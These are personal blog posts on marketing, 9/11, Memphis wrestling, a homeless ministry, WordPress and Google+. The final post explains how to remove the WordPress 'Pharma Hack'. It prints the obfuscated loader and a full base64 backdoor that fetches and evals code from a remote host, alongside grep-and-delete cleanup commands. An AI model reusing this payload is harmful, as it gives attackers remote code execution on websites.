I couldn’t agree more with this assessment and I think most brands are finding this to be true as well. Think about this, remember the popular kids in high school that all sat together at the cool table in the cafeteria? What kind of influence would it had had on you if you saw each of them wearing a Whitesnake t-shirt? I think once you form this mental picture in your head you will agree that the rest of the school would eventually want a Whitesnake t-shirt too, and granted peer pressure comes into play here but I won’t go into this too far. I think you would also agree that in addition to wanting a Whitesnake t-shirt, the remaining student body would also look upon Whitesnake’s music favorably, probably most without ever hearing one of their songs. Again, this is influence…

Today, with just about every person you come into contact with having at least a Facebook account, and quite possibly a Twitter account too, it’s safe to say we are all connected on a daily basis, just like school kids in a cafeteria. Yes, I know this is a hokey analogy but play along. We interact with each other socially on a daily basis whether it be through Facebook or Twitter. There are obvioiusly people out there that have more friends or followers than others, and there is nothing wrong with this at all. In fact some people who are very outgoing in real life might have limited social engagement because their strong suit is real life interaction. This is something we have to keep in the back of our minds when marketing to the masses, especially through social media. With this being the case, these people who might have a larger following could be considered to be “influencers” or “thought leaders” inside their own circle or community. Also inside that community you will also have followers, or feeders, who’s actions can sometimes be led by the actions of those they look up to, ie. influencers.

It’s for this reason that companies like Klout have a really important role in the future of marketing for brands that engage socially. I feel as if these companies are on the bottom floor for what will be an even bigger push over the next decade by brands to win influencers by marketing to them directly, almost obnoxiously to try their products. Is this bad, well sort of, in the eyes of a consumer who sees a brand going after their friend aggressively to try their products simply because they have more friends on twitter or facebook I can see how this might not go over too well. But what if a brand is able to win over an influencer, and in turn this prized consumer in turn promotes that brand to their friends or followers religiously, what do you think the results would be?

I have people call me all the time because they know that I have worked in the IT industry for the biggest part of my professional life. Most of the questions I get pertain to what kind of computer they should by, or what do they need to do to fix their computer? They look to me as a person of authority when it comes to IT / Computers, etc. As an influencer, I have a moral obligation to shoot straight with everyone and let them know my honest feelings toward a product or service. What if I have been contacted or somehow compensated by a manufacturer who provides a similar product or service to one that I would normally recommend, even though it’s inferior I would be obligated to recommend them. You see where this is going?

As a community that is starting to learn more and more about identifying influencers, we have to be extremely careful not to allow this data to be misused in marketing by big brands or it could have a serious impact. The company with the most money (ie. influencers, endorsements) would eventually be the only show in town, and this could be dangerous.

I’m just curious, how do you feel about Influence Marketing?

 

Related Posts:

• December 18, 2010 -- Understanding Influence w/ Klout (0)
• September 14, 2011 -- Social Media Ministry Management Tips (2)
• September 13, 2011 -- What Advice Do You Have For Teens Concerning Social Media? (0)
• December 20, 2010 -- Green Cart Deli Hot Dogs FTW!! (0)
• November 3, 2010 -- EP:020 – The Cotton Club Podcast (2)
• October 18, 2010 -- The Hazards of Representing Client Brands Socially… (9)
• September 22, 2010 -- The GeoSocial Shakedown (1)
• August 18, 2010 -- EP:015 – The Cotton Club Podcast (2)
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I can also remember feeling an assortment of emotions that morning as others crowded around the television with me in amazement. I can remember my initial anger as I watched smoke billowing out of the two towers as people scrambled around the streets of New York covered in ash that someone would do something like this. I can also remember feeling like I had been punched in the gut once I calculated how many people were on board those airplanes and how many were in the World Trade Center unable to get out. I can also remember the confusion that soon followed as to why in the world someone would go to all of the trouble and planning to orchestrate such an attack on us. Being someone that follows the news pretty closely, I knew immediately it was an Al Qaeda attack.

I can also remember the look on President Bush’s face the moment a member of staff approached him as he was sitting in a classroom full of children reading a book and whispered in his ear what had happened. I can also remember hearing the story of Todd Beamer and the people on Flight 93 that decided they weren’t going down without a fight. I can also remember hearing countless, painful tales from people that received phone calls from their loved ones telling them goodbye before their plane went down or their building collapsed. I can also remember the heroic men and women of the New York City Fire Department and Police Department marching into battle at ground zero as bravely as they possibly could knowing that there was a high probability that they would not make it out alive.

• Video Re-enactment from Flight 93 (YouTube)

I can also remember seeing American Flags hanging up all over town as a sign of support. I can also remember when politicians from both sides of the aisle came together to show unity during this time. Something we haven’t seen since. I can also remember President Bush standing on a burned out fire truck at Ground Zero holding a megaphone announcing to the world that we would get the people that brought down the buildings and orchestrated this attack. I can also remember watching as David Letterman took to the airwaves the following week after the attacks and starting his monologue in a way that I had never seen him act before. I remember Rudy Giuliani leading New Yorkers in a way that few of us would have been able to.

• Video of David Letterman’s Post 9/11 Monologue (YouTube)

I can also remember watching as we invaded Iraq a short time later wondering why in the world we were going into Iraq when Al Qaeda was supposedly operating in Pakistan and Afghanistan, but I was afraid to question this military action too loudly because everyone else seemed to be on board with the plan, and I was still pretty angry and wanted desperately to see us flex our muscle militarily. I still have questions as to why we proceeded in the manner we did militarily post 9/11 but I will leave that debate to the people that get paid to talk about it. I can remember the huge sense of pride I felt watching on CNN as the United States put on one of the most impressive military operations of all time. I can remember feeling like we weren’t defeated for the first time in a long time as our brave men and women went into battle.

• Video of President Bush’s Speech at Ground Zero (YouTube)

Whenever I see footage of the planes hitting the World Trade Center today in remembrance of the 10th anniversary of this horrific day, all of these emotions come back just like it was yesterday, but yet it was 10 years ago. It’s funny because I can’t remember what I had for lunch yesterday but I can remember all of these things I have mentioned so vividly…

• Video Footage from CNN (YouTube)

Fast forward to present day, Bin Laden, the evil mastermind behind this deadly plot is dead and buried at sea, compliments of our nations military. Our politicians are back to arguing with one another over every tiny piece of legislation. There are still radical extremists across the world that would like to do us harm, but our intelligence community seems to be working together a lot better than before, but as a nation we have grown a part again, divided by politics, race, religion, and a host of other reasons. I know that this might be misunderstood but I am going to say it anyway, out of all the bad that happened on this day 10 years ago, a lot of great things were born that we have watched gradually erode. Will we ever be as unified as we were immediately following 9/11?

 

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Ron Hall Autographed a Poster for the Wall in My Office!

Growing up in the mid-south during the 70′s and 80′s, every kid I knew was glued to Memphis Wrestling every Saturday morning at 11am on WMC-TV5. I can vividly remember sitting in the floor with my dad watching Jerry Lawler do battle with bad guys like The Dream Machine, Austin Idol, Handsome Jimmy Valiant or any other bad guy Jimmy Hart had brought in to dethrone the King.  I can even remember my mom loading up a minivan full of my 5th grade buddies early one Saturday morning in December, a long long time ago, to go see studio wrestling in person for my 10th birthday. I also remember getting a typed letter in the mail from Lance Russell a few weeks later wishing me a happy birthday and thanking us for coming to the show, I think I took it to school to show off to my friends the next day because he really signed it…

In the pre-internet early 80′s growing up in the country on the farm w/out cable television we had one of the earliest satellite dishes known to man so I had the opportunity to watch wrestling from all over the country but few things captured my attention and drew me in like Championship Wrestling out of Memphis. I am sure that there were a lot of things going on in the world at the time that I didn’t know about but I can’t imagine anything being more important to me as a kid, even the adults talked about wrestling like it was a real deal, sort of a soap opera like ‘Dallas’ or ‘Falcon Crest’, only difference it was men dressed in leotards and tights beating the crap out of one another. Of course we all knew it was a work, kayfabe or fake, but it was presented in such a manner that it didn’t really matter, much different than “sports entertainment” is presented today. Much different.

Well, this evening I talked my friend Charlie, who was also addicted to Championship Wrestling during the 80′s, to tag along with me to a screening in Little Rock of a documentary called; ‘Memphis Heat: The True Story of Memphis Wrestling‘. This is a documentary I had been waiting on for what seemed like an eternity. I was concerned that I had watched the trailer for this film on YouTube so many times that the film would be a disappointment by the time I got to see it on DVD, boy was I wrong. This documentary was off the hook entertaining and was worth the wait. I even got to hang out w/ Ron Hall, one of the producers of the film and the writer of ‘Sputnik, Masked Men, & Midgets: The Early Days of Memphis Wrestling‘.

The documentary was shown at Market Street Cinema in Little Rock, a theater I had never been and didn’t even know how to find, but the venue could not have been better. There was probably 40 or 50 people in the crowd, mostly all men (imagine that), and every time a wrestler would pop up on the screen that we hadn’t seen or heard about in 20 years we would erupt violently in laughter. Prime example, Tojo Yammamoto! I hadn’t seen or thought about that little guy in ages but when I saw him on that screen karate chopping people I was immediately reminded of a time in my hometown when wrestling came through to do a card at our national guard armory and I was so enamored by this guy that I was scared to go ask him for an autograph for fear that he would throw salt in my eyes or hit me with his kendo stick or wooden flip-flops.

This documentary had so many “high spots” as they put it in the wrestling industry that I could literally sit here all evening trying to list them all. It was so awesome to see guys like Jerry Lawler, Bill Dundee, Referee Jerry Calhoun, Jackie Fargo, Handsome Jimmy Valiant, and the late Sputnik Monroe talk about their days in the hotbed that was Memphis Wrestling. One highlight that I will share involves Buddy Wayne, a former wrestler back in the 70′s who went on to become a booker for Memphis Wrestling talking about wrestlers actually wrestling a bear, the entire theater was hysterical. I can remember Buddy Wayne chasing a group of us unruly kids out of the wrestling ring one weekend they were in town doing two shows at our national guard armory. About the second time he had to run us off we thought he was going to have a heart attack.

I could literally go on forever talking about how awesome this documentary was forever but I will wrap this up by promising you this, if you grew up in the mid-south and remember Championship Wrestling, and were drawn in like most of us were at the time, you absolutely have to get to a showing of this film when it comes to your town or own the DVD which will be available in time for Christmas. You will not be disappointed. I promise.

The only critique I have for the film was that they didn’t have Dirty Dutch Mantell in the film. I feel like he could have added a lot to the storyline of the movie. His blog is one of the best blogs out there and his books are probably some of the best written, genuine accounts of old school professional wrestling in existence. Dutch did a lot of the booking in the Memphis Territory alongside Jerry Lawler, Jerry Jarrett, and Bill Dundee.

In case you haven’t already seen the trailer to this film, here you go…

If you would like to order the book, ‘Sputnik, Masked Men, & Midgets: The Early Days of Memphis Wrestling’ by Ron Hall, you can click here to order it through Amazon.com. If you would like to order the DVD, you can do that online at http://memphis-heat.com.

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The purpose for this post is to ask my friends, family, and anyone reading this post to consider partnering with our organization. We have a huge vision and while God has already blessed us in so many ways to allow us to help bring to fruition projects like portable showers, laundry services, food, water, tents, clothing, warming centers, etc., there are so many other needs and areas that we feel God is calling us into that quite honestly we are going to need a lot of partners if we are to reach these goals.

In the coming weeks we are going to be offering armbands and t-shirts for sale as a fundraiser on our website. The proceeds from the sale of these items will go directly to providing much needed resources for our homeless friends. We would appreciate everyone’s support when these items become available. Stay tuned to our facebook and twitter accounts for announcements about this.

One other thing that I wanted to throw out, we get a lot of requests from people asking what they can do to help out. Many people are honest in that they would love to write a big check to help out our mission but are unable, and we appreciate that more than any of you can imagine. The truth is, we can put every dollar we bring in right back onto the streets quicker than you can imagine. But, there is something I want to throw out there to everyone for consideration…

Being a small non-profit we have overhead costs, a lot of our overhead has already been met by donations from some very generous people but there are still things like gasoline for the van that are ongoing. We have a large surplus of items such as clothing, water, food, MRE’s, feminine and hygiene products, shoes, sleeping bags, tents, etc., that we have to store because the van will only hold so much when we go to the homeless camps. We would like to rent a storage facility to store these items in but the costs for storage space that we can access 24/7 is a lot more expensive that you might think.

We would like to be able to rent a facility that is our own, and that we can access any time of day that someone is in need and hook people up with the basic necessities needed for survival on the streets. In the past we have always strived to put every dollar donated into the hands of those in need in the form of clothing, food, water, etc., but we are having to step back and look at the big picture and realize that if we had our own facility we could do so much more and be a lot more efficient in our mission.

“This is a great cause to be involved with…” – Colleen Nick

The purpose of this post is to ask my friends, family, and neighbors to consider making a tax deductible monthly commitment to The One, Inc., to help support our ministry. This monthly commitment doesn’t have to be anything huge, $10, $20, or $50 monthly will go a long way to help fund our mission and secure a location from which we could operate permanently. I am asking everyone to consider this and to pray about it. If this is something you are interested in doing, we will have a link that we will post very soon for you to signup online to make a monthly commitment. One other thing that I will add, our organization is built upon transparency, and anyone supporting our mission is more than welcome to look at our financials anytime they want. We have nothing to hide and our intentions are pure and we love to be held accountable!

 

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We have also launched a Facebook Page for this project, please feel free to “Like us on Facebook!”

 

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As a lot of you that are die-hard WordPress users are probably already aware, WordPress has launched their new menu builders under the appearance tab. The menu builder will allow you to create a menu from any categories, pages and links, order them by drag and drop, create submenus, etc.

This is something that I am pretty sure was contributed to core from the good people at WooThemes, because they had this for a while in some of their theme settings. In the event you have an older WordPress Theme and would like to have this functionality but inside the dashboard you keep getting a notice that your theme is not compatable, here’s what you can do…

Locate your theme directory/ functions.php and add this line of code:

// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
	'primary' => 'Primary Navigation'
) );

Secondly, locate your theme directory/header.php file and add/edit this line of code:

<?php wp_nav_menu( 'sort_column=menu_order&container_class=menu-header' ); ?>

Once these two files have been modified you should be able to log back into your wordpress installation dashboard and select the menu option under appearance and get started.

 

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“Then the king will say to those bad people on his left, ‘Go away from me. God has already decided that you will be punished. Go into the fire that burns forever. That fire was prepared for the devil and his angels. You must go away, because I was hungry, and you gave me nothing to eat. I was thirsty, and you gave me nothing to drink. I was alone and away from home, and you did not invite me into your home. I was without clothes, and you gave me nothing to wear. I was sick and in prison, and you did not care for me.’ “Then those people will answer, ‘Lord, when did we see you hungry or thirsty? When did we see you alone and away from home? Or when did we see you without clothes or sick or in prison? When did we see these things and not help you?’ “Then the king will answer, ‘I tell you the truth. Anything you refused to do for any of my people here, you refused to do for me.’ “Then those bad people will go away. They will have punishment forever. But the good people will go and have life forever.” – — Matthew 25:41-46

I would absolutely love to see our 501c3 non-profit, The One, Inc., organize something like this in the future. Big kudos to the awesome people in Fairfax County Virginia for putting this project together to help homeless children purchase school clothes and back to school supplies. I know that I sometimes take a controversial stand on this issue but I have found it to be troubling how much money our government sends overseas to tear down and rebuild entire nations while we have homeless, hungry children, like the ones in this video that have been exposed to more horror and misery in their short lives than a lot of us can even comprehend.  I also find it ironic that many churches will solicit donations for causes that are completely on the other side of the world while there’s a homeless veteran holding a cardboard side willing to work for food just a few miles from their front door going completely ignored.  Now, let me say for the record that I have no problem with foreign missions, etc., I just feel like we have to also pay attention to what is going on in our own communities.

Again, I hope that one day The One, Inc. can help coordinate something like this for our families in Central Arkansas that are either homeless or in dire need of help. Also, stay tuned to this blog as well as our Facebook and Twitter feeds for several ways you can get involved or support our ministry that we will be announcing in the coming weeks…

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I know this isn’t my typical type of blog post but today there was a discussion in one of those hometown Facebook groups about something in my hometown, Helena, Arkansas, that I happened to know a little bit about so I joined in. This discussion concerned a tombstone that is in one of my hometown’s oldest cemeteries of a dog with the single caption “WAITING” written below it.

It’s actually a very cool looking tombstone if you are into that sort of thing. In the discussion, someone was asking the story as to how the stone came about, etc., and I remembered my Uncle Gene giving me the backstory / history lesson years ago so I shared what I knew about a doctor that was murdered by another doctor in the middle of the city one evening. I know for a fact there are several variations of this story floating around as Urban Legends but the one that I believe to be true is the one that my Uncle shared with me because I have actually met several other old timers with similar recollections.

You can find the story in it’s entirety on this website…

I have also quoted some of the high points from their research  post below:

High on a ridge in Maple Hill Cemetery to the north of Helena, Arkansas, stands Pedro, the Irish Setter. Pedro, I surmise, was the beloved pet of the late Dr. Emile Overton Moore. As he has done every year since 1895, the loyal hound waits in perpetuity for his slain master.

We make these assumptions based on the name “Pedro” on the dog’s collar, the raised letter inscription beneath the dog, “WAITING,” and the inscription which states that Dr. Moore died at the hand of a fellow man. The front, east facing side of the pink marble on the monument reads:

DR. EMILE OVERTON MOORE
BORN OCT. 2 1854
MURDERED FEB. 16, 1893
HE IS NOW BEYOND THE REACH OF BLAME OR PRAISE
AND LOVE WITH HOPE AND FAITH
WILL TRUST THAT HE HAS FELT THE JOY
THAT IS FELT WHEN THERE ARE NO TEARS
AND NO GRAVE.

Underneath, on darkened alabaster, the inscription reads:

HIS ERRORS WERE THE ERRORS OF A MAN
AND THEY STAND OUT IN BOLD CONTRAST
WITH THE TIME SERVING, TWO FACED HIPPOCRITES
WHO CONSPIRED TO HAVE HIM MURDERED.

On one side of the pink marble is inscribed:

HE POSSESSED MARKED INDIVIDUALITY
HE WAS INCAPABLE OF DISSIMULATION.
LET US REMEMBER
THAT AFTER MIDNIGHT COMMETH MORN. 

The monument is listed in the Art Inventories Catalog of the Smithsonian American Art Museum.

Newspaper accounts of Dr. Moore’s murder took a different tack than the verbiage etched in stone. On page six of the February 24, 1893, Pine Bluff Graphic, this account is found: “Dr. Overton Moore was shot and instantly killed Thursday evening of last week by Dr. C. R. Shimault. It is claimed the shooting was in self defense.”

A couple of days earlier on February 21, 1893, The Pine Bluff Weekly Press Eagle printed this report on page two: “Dr. Overton Moore was shot and killed by Dr. C. R. Shimault at Helena last Sunday. Moore began a quarrel with Shimault because the latter had responded to a call to attend to one of the former’s patients. The deceased was a very dangerous man and a terror to the community when drinking.”

The newspaper accounts agree that Dr. Moore was murdered and “whodunit.” They disagree on the exact date. We would probably all agree that Pedro was probably the most despondent of all. (This information was kindly furnished by the Pine Bluff/Jefferson County Library System).

The Moore family plot occupies a high place in the hilly cemetery, which was established in 1861. It is still in use as evidenced by graves dated in 2009. The hilly environment comes from the cemetery’s location at the southern terminus of Crowley’s Ridge.

Although Dr. Moore’s monument is the most unusual in the large cemetery, as a piece of artwork it stands in the company of angels, cherubs and tall statue monuments, many of which were commissioned works of art to honor deceased family members.

Something else to this story that I remember, is sometime during the 1980′s the families of both doctors filed legal action against one another regarding the tombstone and it’s wording, or something along those lines. I haven’t been able to locate anything further on this story but for the sake of posterity decided to share what I was able to locate above…

 

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Okay, here’s the bottom line. If you own a Mac and use Microsoft’s Outlook to manage your calendar, it will not synchronize w/ your iPhone or iPad, period, and Microsoft has know about the issue since last year!  This is why I am furious, and become more angry each day! My nightmare started several months ago when I made the decision to transition away from PC’s over to Mac. I prolonged this decision as long as I could for one reason and one reason only. I had used Microsoft Outlook to manage my business for almost 20 years and I knew they were getting ready to release it for the Mac instead of their Entourage product and that I would be able to import my valuable PST files over to my Mac! I literally timed my exodus based on the release of one piece of software, Microsoft Office 2011 for Mac.

Microsoft has addressed this issue several times in the past and assured thousands of us that the glitch would be addressed soon but nothing has happened. Most recently the team answered questions from several other unhappy users and totally avoided my question, be sure to read the comments. There was a point in April where we got our hopes up that Microsoft was releasing a service pack to address these issues but nothing ever came of this promise either. Microsoft, being the software company, designs software to run on Apple’s hardware. That’s pretty cut and dry right? Well, here’s a release where Microsoft actually blamed Apple for the synchronization issues…

I have been reaching out to the Office for Mac team on their blog recently hoping to get some answers but haven’t been contacted by a single person as of today. Well, many of you that know me can attest to the fact that I can be somewhat persistent if aggravated, well I have reached that point. Today I reached out to the Office for Mac team on their Twitter account and their Facebook Page.

I honestly feel as if Microsoft has betrayed their loyal user base and feel no remorse about their actions because they have the only show in town when it comes to business management, scheduling, task management, collaboration, email, and shared contacts. I also feel as if Microsoft owes me personally a complete refund for $600 that I spent putting their software on all of our new Mac’s in addition to potentially more money that I can prove in loss productivity and revenue.

 

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After a brief hiatus The Cotton Club was back online this evening w/ Keith Crawford, Tyler Presley, Steven Trotter, Chris Spencer, and Mike Fraietta to discuss Google+. Being that Google+ is fairly new, this was the first chance for me to really connect w/ some of my friends to get their take on the new product. It was also very cool to have Mike Fraietta on the show this evening, he is the enterprise community manager at NewsCorp, you may have heard of them before… Fox News, Wall Street Journal, etc. Anyway, having Mike on the show was great, his input was awesome!

A few days ago I blogged about my first impression of Google+ after having used the product for a few days. I still think the future is very bright for this product if Google stays on track w/ what they have going right now. During the show we each shared some of the things that we liked and disliked about the network as well as some thoughts as to how we envisioned various aspects evolving over time…

This was a fun show, definitely great getting the gang together again to talk tech! I promise not to neglect the podcast and will be sure to post new shows from time to time, and thanks to the handful of you who have stayed on me to bring the show back!

 

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This evening I had the opportunity to chat w/ Keith Crawford, Steven Trotter, and Christopher Spencer about this years Wordcamp Fayetteville. During the show Chris, who is heading up the event, went over the 4 tracks for the event as well as touching on some of the content that would be covered this year. As a sidenote, I will be speaking during one of the sessions this year on WordPress profitability for agencies and freelancers, you can see my blog post about my discussion here…

If you haven’t registered for Wordcamp Fayetteville yet you had better get on the ball, I think there are 20+ spots available for the conference. To register online, click here…

 

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I have had a Google+ account for a while now and aside from a few chat sessions, or hangouts, the week it was launched, I pretty much just got around to checking it out this evening.  I must say I am pretty impressed so far w/ the level of engagement I see as well as the clean design that Google has brought to the table.

One key feature that I really like about Google+ is that I have the ability to organize my stream into circles that contain various people or connections I have. For instance, I have a circle made up entirely of friends from Central Arkansas. I also have a ministry circle that I have included just people that I go to church with. These are just two examples, I actually have several other circles that I use, one that I can see being beneficial from a business perspective is my Pleth circle. In this circle I just have my co-workers included. So, let’s say I want to post something that I just want my team members to see, I simply share it with only that group.

There are several good resources online to get you up and running w/ Google+, here are a few to get you started:

• Mashable – Google+: The Complete Guide
• Slashgear – Google+ Guide from Top to Bottom
• Hacker9 – A Quick Guide to Google+ for Dummies

By the way, if you are not on Google+ yet and would like an invitation, I have a handful of them left. Just drop me a comment below and I will send you one…

Also, in the next week or so I am planning on recording another edition of The Cotton Club Podcast and one of the topics for the show will be Google+, if you are interested in being on the show, be sure to leave a comment below…

 

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I will be doing a presentation titled ‘Making WordPress Profitable for Agencies / Design Firms‘ during Wordcamp Fayetteville this year, which is taking place on July 30, 2011 in Fayetteville, at the Donald W. Reynolds Center for Enterprise Development. If you haven’t registered already, there is still time, the price for general admission is $35 and you can click here to register online.

The people in charge at #WCFay asked me to do a short blog post or teaser so that those attending the conference will have a heads up as to what my talk will be about. In short, it’s all about making money. I could just leave it at that and feel pretty confident that I have proposed a topic that will be of interest to everyone there, but I will take it a step further. This discussion is going to more or less look at our industry from a business owners perspective and why I feel like WordPress is the most powerful tool we have in our arsenal today. I will also share some tips that can help your agency or firm become more profitable during a down economy…

I am looking forward to this discussion. Here’s a few teaser slides from my presentation…

This should be a fun presentation, hope to see you there!!

 

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We completed a project for Rosewood Classic Coach a few months ago and they were so happy w/ the way the project turned out they asked us to take a look at their Rosewood Cremation website and convert it to WordPress for them. In addition they also wanted to add a small amount of e-commerce to the site as well as converting some of their forms to interactive PDF’s.   I haven’t completed the project yet but can share a screenshot. The entire project was build upon the Genesis framework in WordPress.

 

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I was recently contacted by long-time client, Detco Industries, Inc. about developing two small projects for them. Each of these micro websites will contain product information such as MSDS, TDS, and DTS (product label) information. In the future they also wanted to ability to post additional information about their products such as YouTube videos, etc. I elected to use WordPress w/ the Genesis Framework to develop each of these projects instead of building a custom database driven application and my development time wasn’t consumed w/ writing code. I absolutely love Genesis framework, both of these projects were designed using the Genesis Child Theme as the starting point.  Since neither site is live right now I can’t post any links, but here are a few screengrabs…

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A few years ago I spent the better part of a weekend researching the 1993 murder convictions of Damien, Jason, and Jessie and after everything I was able to gather online I left w/ the impression that these kids were wrongfully convicted. Not only did I walk away thinking they were innocent but I also felt that a lot of evidence pointed toward another person closely involved with the case, and I wondered why more time wasn’t spent investigating him. There were basically so many holes in the trial transcripts and the way that investigators handled the case that there’s no way I can list all of them in this post, some good places to get up to speed on the case are YouTube and the official WM3 website.

I just saw where a friend, Keith Crawford, shared a link a few minutes ago to the report that excludes these three men by DNA from being involved in the case. You can read that report here. I sincerely hope it won’t be long until these guys are finally released! I am curious to hear back from some of  you that have followed this case and see what your thoughts are on it. I haven’t ran into anyone in a long time that thinks these guys are guilty…

Most Commented Posts

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This is a project that my wife and I are partnering with a local attorney, Shane Henry, to bring online that serves as a tool to recruit pregnant mothers that might be looking to either have an abortion or put their children up for adoption. Please be in prayer w/ Donna and I that we are able to locate a child through this effort…

This website will contain a lot of answers to frequently asked questions regarding adoption, adoption in Arkansas, and hopefully serve as a useful resource for it’s users. The website hasn’t launched yet but will hopefully have it ready to go live by the end of this month, in the meantime, here’s a screenshot of what the website will look like…

 

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Many of you that know me are probably already aware that I am a founding member of The One, Inc. and serve on the board of directors. In case you are not familiar w/ The One, Inc. and what we do, we are a 501c3 non-profit organization servicing the needs of the growing homeless community in Central Arkansas by providing food, clothing, hygiene products, and the basic necessities they need to survive. Being a part of this mission and vision is something I take extremely serious.

Well, long story short, we have been in need of a website for a while now so that we could communicate our needs to our many supporters and donors (imagine that, I am on the board of an organization that is in need of a website, go figure). Well, long story short, I have been working on our initial website, www.theoneinc.org, for several weeks now and have just about concluded the design / development phase of the project. I will be passing the ball to our co-founder, Aaron Reddin, to complete the content on the website over the next few days & weeks.  Since the website is not complete I won’t post a link just yet, but will share a screenshot w/ you…

 

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I posted a few weeks ago about the WordPress Pharma Hack that has been running pretty rampant across the web, in case you missed my initial post, here’s a link. Well, I would like to say that we were able to jump right on this thing and immediately remove it pretty easily, but that simply wasn’t the case. I worked closely w/ Matt Critcher, our server admin at Pleth, LLC, and probably one of the sharpest guys I know, and we toiled over this thing daily for about a week or so until we finally eradicated it from all of our WordPress installations. For the benefit of all of you that are still wrestling w/ this hack, here’s exactly how we removed it…

Locate all base64_decode

This hack, like a lot of others, used base64 code to disguise JavaScript (so we have to locate it and remove it, this is what it will look like)

< ? php $XZKsyG=’as’;$RqoaUO=’e';$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t';$joEDdb
=’b’.$XZKsyG.$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$j
oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY.......and so on...

To locate and remove the code, you will need to SSH into your server, CD into the wordpress home directory and do the following

grep -r 'php \$[a-zA-Z]*=.as.;' * |awk -F : '{print $1}' | xargs -I{} rm -v {}

This will scan the entire folder and all it’s sub-directories for any file containing the string “php $RANDOMLETTERS=’as’” and delete it verbosely. If you do not wish to delete it automatically just run this to print out the filename.

grep -r 'php \$[a-zA-Z]*=.as.;' * |awk -F : '{print $1}'

When we did this, there were about 50 files that contained the exploit.  There are other files containing nasty code as well. You will also need to to search for and remove files containing the string “wp_class_support”.

grep -r wp_class_support * |awk -F : '{print $1}' |xargs -I{} rm -v {}

This bit of syntax will search for files with that string and delete them (if you want to manually delete them, leave off the xargs part as per the above example).

I also found this nasty thing (not sure if it is related to the Pharma Hack) in several files. All were WordPress core files, so you MUST replace every WordPress file on your site with clean ones. DO NOT do this via the internal utility – use FTP, SCP, or whatever to get these files uploaded. Once you have done this, do

grep -r QGluaV9yZXN0b * |awk -F : '{print $1}'

This will search the remaining files for the exploit. Any files containing this MUST be replaced or you are still infected. The full text of the exploit the base64 encoded string as follows:

QGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTtAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpO0BpbmlfcmVzdG9yZSgic2Fm
ZV9tb2RlX2luY2x1ZGVfZGlyIik7QGluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTtAaW5pX3Jlc3RvcmUoImRp
c2FibGVfZnVuY3Rpb25zIik7QGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsNCmlmKEBmdW5jdGlvbl9leGlzdHMo
J2luaV9zZXQnKSkNCntAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyBAaW5p
X3NldCgnZmlsZV91cGxvYWRzJywxKTsgQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7fQ0KZWxzZXtAaW5pX2FsdGVy
KCdlcnJvcl9sb2cnLE5VTEwpOyBAaW5pX2FsdGVyKCdsb2dfZXJyb3JzJywwKTsgQGluaV9hbHRlcignZmlsZV91cGxvYWRz
JywxKTsgQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTt9DQpmdW5jdGlvbiBHZXRTaGVsbENvbnRlbnQoJGhvc3Qs
JHVybCl7aWYoQGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpeyRmdWxsX3VybD0naHR0cDovLycuJGhvc3QuJy8nLiR1
cmw7JGN1cmw9Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VUkwsJGZ1bGxfdXJsKTtjdXJsX3NldG9w
dCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpO2N1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLGZh
bHNlKTtjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDEwKTtjdXJsX3NldG9wdCgkY3VybCxDVVJM
T1BUX1VTRVJBR0VOVCwnTW96aWxsYS80LjAnKTskZGF0YT1AY3VybF9leGVjKCRjdXJsKTtjdXJsX2Nsb3NlKCRjdXJsKTty
ZXR1cm4gJGRhdGE7fWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSl7JGZwPUBmc29ja29wZW4oJGhvc3Qs
ODAsJGVycm5vLCRlcnJzdHIsMTApO2lmKCRmcCl7JG91dD0iR0VUIC8kdXJsIi4iIEhUVFAvMS4wXHJcbiI7JG91dCAuPSJI
b3N0OiAkaG9zdFxyXG4iOyRvdXQgLj0iVXNlci1BZ2VudDogTW96aWxsYS80LjBcclxuIjskb3V0IC49IkNvbm5lY3Rpb246
IENsb3NlXHJcblxyXG4iO0Bmd3JpdGUoJGZwLCRvdXQpO3doaWxlKCRhbnNbXT1mZ2V0cygkZnApKTtmY2xvc2UoJGZwKTsk
YW5zPXRyaW0oaW1wbG9kZSgnJywkYW5zKSk7JGRhdGE9KHRyaW0oc3Vic3RyKCRhbnMsc3RycG9zKCRhbnMsIlxyXG5cclxu
IikpKSk7cmV0dXJuICRkYXRhO319ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykgJiYgQGlu
aV9nZXQoJ2FsbG93X3VybF9mb3BlbicpPT0xKXskZnVsbF91cmw9J2h0dHA6Ly8nLiRob3N0LicvJy4kdXJsOyRkYXRhPUBm
aWxlX2dldF9jb250ZW50cygkZnVsbF91cmwpO3JldHVybiAkZGF0YTt9fQ0KaWYoJF9SRVFVRVNUWydzaCddICE9ICIiKSB7
ZXZhbChiYXNlNjRfZGVjb2RlKEdldFNoZWxsQ29udGVudCgiXHg3M1x4NjVceDZmXHg3NFx4NmZceDZmXHg3M1x4MmVceDYz
XHg2Zlx4NmQiLCJzL2kucGhwPyIuJF9SRVFVRVNUWydzaCddLiImaG9zdD0iLnVybGVuY29kZSgkX1NFUlZFUlsnU0VSVkVS
X05BTUUnXSkuIiZ1cmw9Ii51cmxlbmNvZGUoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSkpO2V4aXQ7fQ==

Which decodes as

@ini_restore("safe_mode");@ini_restore("open_basedir");@ini_restore("safe_mode_include_dir");
